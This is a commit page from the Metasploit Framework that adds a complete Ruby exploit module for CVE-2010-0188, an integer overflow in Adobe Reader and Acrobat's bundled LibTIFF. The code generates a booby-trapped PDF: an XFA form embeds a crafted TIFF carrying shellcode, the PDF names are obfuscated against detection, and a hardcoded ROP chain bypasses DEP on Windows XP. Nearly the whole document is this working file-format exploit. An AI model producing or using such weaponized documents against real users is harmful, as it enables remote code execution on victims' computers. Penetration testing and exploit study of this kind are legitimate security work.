add exploit module for cve-2010-0188 (possibly cve-2006-3549)
git-svn-id: file:///home/svn/framework3/trunk@8833 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
parent
cb640571b0
commit
7fcad1f4b8
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@ -0,0 +1,391 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',
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'Description' => %q{
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This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat
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Professional versions 8.0 through 8.2 and 9.0 through 9.3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Microsoft', # reported to Adobe
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'villy <villys777 [at] gmail.com>', # public exploit
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# Metasploit version by:
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'jduck'
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-0188' ],
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[ 'BID', '38195' ],
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[ 'OSVDB', '62526' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],
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[ 'URL', 'http://secunia.com/blog/76/' ],
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[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# test results (on Windows XP SP3)
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# reader 6.0.1 - untested
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# reader 7.0.5 - untested
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# reader 7.0.8 - untested
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# reader 7.0.9 - untested
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# reader 7.1.0 - untested
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# reader 7.1.1 - untested
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# reader 8.0.0 - untested
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# reader 8.1.1 - untested
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# reader 8.1.2 - untested
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# reader 8.1.3 - untested
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# reader 8.1.4 - untested
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# reader 8.1.5 - untested
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# reader 8.1.6 - untested
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# reader 8.2.0 - untested
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# reader 9.0.0 - untested
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# reader 9.1.0 - untested
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# reader 9.2.0 - untested
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# reader 9.3.0 - works
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[ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',
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{
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# ew, hardcoded offsets - see make_tiff()
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}
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],
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],
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'DisclosureDate' => 'Feb 16 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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tiff_data = make_tiff(payload.encoded)
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xml_data = make_xml(tiff_data)
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compressed = Zlib::Deflate.deflate(xml_data)
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# Create the pdf
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pdf = make_pdf(compressed)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj\r\n" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf(xml_data)
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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pdf = "%PDF-1.5" << eol
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pdf << "%" << RandomNonASCIIString(4) << eol
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xref << pdf.length
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pdf << ioDef(1) << nObfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << nObfu("/Type /EmbeddedFile>>") << eol
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pdf << "stream" << eol
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pdf << xml_data << eol
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pdf << eol << "endstream" << eol
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pdf << endobj
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<</V () /Kids [") << ioRef(3) << nObfu("] /T (") << "topmostSubform[0]" << nObfu(") >>") << eol << endobj
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Parent ") << ioRef(2) << nObfu(" /Kids [") << ioRef(4) << nObfu("] /T (") << "Page1[0]" << nObfu(")>>")
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pdf << eol << endobj
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << ioRef(5)
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pdf << nObfu("/FT /Btn/TU (") << "ImageField1" << nObfu(")/Ff 65536/Parent ") << ioRef(3)
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pdf << nObfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << nObfu(")/Rect [107.385 705.147 188.385 709.087]>>")
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pdf << eol << endobj
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")
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pdf << ioRef(6) << nObfu("/Type /Page/PieceInfo null>>")
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pdf << eol << endobj
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xref << pdf.length
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pdf << ioDef(6) << nObfu("<</Kids [") << ioRef(5) << nObfu("]/Type /Pages/Count 1>>")
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pdf << eol << endobj
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xref << pdf.length
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pdf << ioDef(7) << ("<</PageMode /UseAttachments/Pages ") << ioRef(6)
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pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << ioRef(8)
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pdf << ("/Type /Catalog>>")
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pdf << eol << endobj
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xref << pdf.length
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pdf << ioDef(8) << nObfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << ioRef(1) << nObfu("]/Fields [")
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pdf << ioRef(2) << nObfu("]>>")
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pdf << endobj << eol
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(7) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF"
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end
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def make_tiff(code)
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tiff_offset = 0x2038
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shellcode_offset = 1500
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tiff = "II*\x00"
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tiff << [tiff_offset].pack('V')
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tiff << make_nops(shellcode_offset)
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tiff << code
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# Padding
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tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)
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tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"
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tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
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tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
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tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
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tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
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tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
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tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"
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# The following executes a ret2lib using BIB.dll
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# The effect is to bypass DEP and execute the shellcode in an indirect way
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stack_data = [
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0x70072f7, # pop eax / ret
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0x10104,
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0x70015bb, # pop ecx / ret
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0x1000,
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0x700154d, # mov [eax], ecx / ret
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0x70015bb, # pop ecx / ret
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0x7ffe0300, # -- location of KiFastSystemCall
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0x7007fb2, # mov eax, [ecx] / ret
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0x70015bb, # pop ecx / ret
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0x10011,
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0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
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0x70015bb, # pop ecx / ret
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0x10100,
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0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
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0x70072f7, # pop eax / ret
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0x10011,
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0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
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0x7005c54, # pop esi / add esp,0x14 / ret
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0xffffffff,
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0x10100,
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0x0,
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0x10104,
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0x1000,
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0x40,
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# The next bit effectively copies data from the interleaved stack to the memory
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# pointed to by eax
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# The data copied is:
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# \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a
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# \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00
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# \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x90
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0x700d731, # mov eax, [ebp-0x24] / ret
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0x70015bb, # pop ecx / ret
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0x26a525a,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x3c2ecd58,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xf4745a05,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x2a4949b8,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xaffa8b00,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xfe87ea75,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xb95f0aeb,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x3e0,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x9eba5f3,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0xfffff1e8,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x909090ff,
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0x700154d, # mov [eax], ecx / ret
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0x700a722, # add eax, 4 / ret
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0x70015bb, # pop ecx / ret
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0x90ffffff,
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0x700154d, # mov [eax], ecx / ret
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0x700d731, # mov eax, [ebp-0x24] / ret
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0x700112f # call eax -- (execute stub to transition to full shellcode)
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].pack('V*')
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tiff << stack_data
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Rex::Text.encode_base64(tiff)
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end
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def make_xml(tiff_data)
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xml_data = %Q|<?xml version="1.0" encoding="UTF-8" ?>
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<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
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<config xmlns="http://www.xfa.org/schema/xci/1.0/">
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<present>
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<pdf>
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<version>1.65</version>
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<interactive>1</interactive>
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<linearized>1</linearized>
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</pdf>
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<xdp>
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<packets>*</packets>
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</xdp>
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<destination>pdf</destination>
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</present>
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</config>
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<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
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<subform name="topmostSubform" layout="tb" locale="en_US">
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<pageSet>
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<pageArea id="PageArea1" name="PageArea1">
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<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
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<medium short="612pt" long="792pt" stock="custom" />
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</pageArea>
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</pageSet>
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<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
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<break before="pageArea" beforeTarget="#PageArea1" />
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<bind match="none" />
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<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
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<ui>
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<imageEdit />
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</ui>
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</field>
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<?templateDesigner expand 1?>
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</subform>
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<?templateDesigner expand 1?>
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</subform>
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<?templateDesigner FormTargetVersion 24?>
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<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
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<?templateDesigner Zoom 94?>
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</template>
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<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
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<xfa:data>
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<topmostSubform>
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<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>
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</topmostSubform>
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</xfa:data>
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</xfa:datasets>
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<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
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<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
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<subform name="topmostSubform">
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<instanceManager name="_Page1" />
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<subform name="Page1">
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<field name="ImageField1" />
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</subform>
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<pageSet>
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<pageArea name="PageArea1" />
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</pageSet>
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</subform>
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</form>
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</xdp:xdp>
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xml_data.gsub!(/REPLACE_TIFF/, tiff_data)
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xml_data
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end
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end
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Reference in New Issue